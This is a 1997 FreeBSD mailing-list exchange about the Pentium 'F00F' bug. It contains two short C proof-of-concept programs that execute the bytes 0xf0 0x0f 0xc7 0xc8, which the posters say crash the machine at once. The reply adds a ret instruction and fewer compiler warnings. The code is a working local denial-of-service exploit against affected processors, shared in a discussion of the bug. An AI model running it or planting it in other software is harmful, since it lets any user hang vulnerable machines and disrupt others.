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Date: Mon, 10 Nov 1997 01:32:31 -0800 (PST)
From: Julian Elischer <julian@whistle.com>
To: Michael Richards <026809r@dragon.acadiau.ca>
cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Crashing FreeBSD
In-Reply-To: <199711100059.UAA23095@dragon.acadiau.ca>
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Where have you been?

:)
this is the same program that archie (in the next cube) and I wrote and
posted last week.. looks like it's made full circle and made it back
here.. :)
p.s her are soem slight improvements..


On Sun, 9 Nov 1997, Michael Richards wrote:

> Well folks, it looks like anyone can crash a FreeBSD box. I am told that
> this is a bug in the pentium processor. Compile and run, it will crash the
> machine right away...
> 
> Very simple:
> 
> 
> char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> 
> main () {
>     void (*f)() = x;
>     f();
> }
> 
char x[] = {0xf0, 0x0f, 0xc7, 0xc8, 0xc3};
main() 
{
	void(*f)() = (void(*)(void))x;
	f();
}

this one 
1/ doesn't get so many warnimgs.
2/ is corrct in that there is a ret instruction after the bad code.
so people can't say "it's falling off the end"..
(thanks SEF)

julian